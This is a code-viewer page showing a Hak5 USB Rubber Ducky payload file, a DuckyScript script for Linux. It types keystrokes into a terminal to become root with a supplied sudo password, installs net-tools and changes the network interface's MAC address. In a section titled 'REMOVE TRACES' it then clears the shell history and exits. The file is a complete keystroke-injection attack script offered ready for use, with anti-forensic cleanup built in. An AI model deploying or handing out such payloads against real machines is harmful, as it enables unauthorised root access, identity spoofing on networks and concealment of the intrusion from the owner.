Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/ChangeMacAddress_Linux/payload.txt
2971 views
1
2
REM ###########################################
3
REM # |
4
REM # Title : Change Linux MAC Address |
5
REM # Author : Aleff |
6
REM # Version : 1.0 |
7
REM # Category : Execution |
8
REM # Target : Linux |
9
REM # |
10
REM ###########################################
11
12
REM Requirements:
13
REM - Permissions
14
15
DELAY 1000
16
CTRL-ALT t
17
DELAY 2000
18
19
20
REM #### PERMISSIONS SECTION ####
21
22
23
REM You need to know the sudo password and replace 'example' with this
24
DEFINE SUDO_PASS example
25
26
STRING sudo su
27
ENTER
28
DELAY 1000
29
STRING SUDO_PASS
30
ENTER
31
DELAY 1000
32
33
34
REM #### MAC SECTION ####
35
36
37
REM net-tools command
38
STRING apt install net-tools
39
ENTER
40
DELAY 2000
41
42
REM Set here your preferred MAC, you can don't change it remaining with the default value
43
DEFINE NEW_MAC FF:FF:FF:FF:FF:FF
44
45
REM Get the net interface name
46
STRING INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}')
47
ENTER
48
DELAY 500
49
50
STRING ifconfig $INTERFACE down
51
ENTER
52
DELAY 500
53
54
STRING ifconfig $INTERFACE hw ether
55
STRING NEW_MAC
56
ENTER
57
DELAY 500
58
59
STRING ifconfig $INTERFACE up
60
ENTER
61
DELAY 500
62
63
64
REM #### REMOVE TRACES ####
65
66
67
DELAY 2000
68
STRING history -c
69
ENTER
70
71
REM Close shell
72
STRING exit
73
ENTER
74
75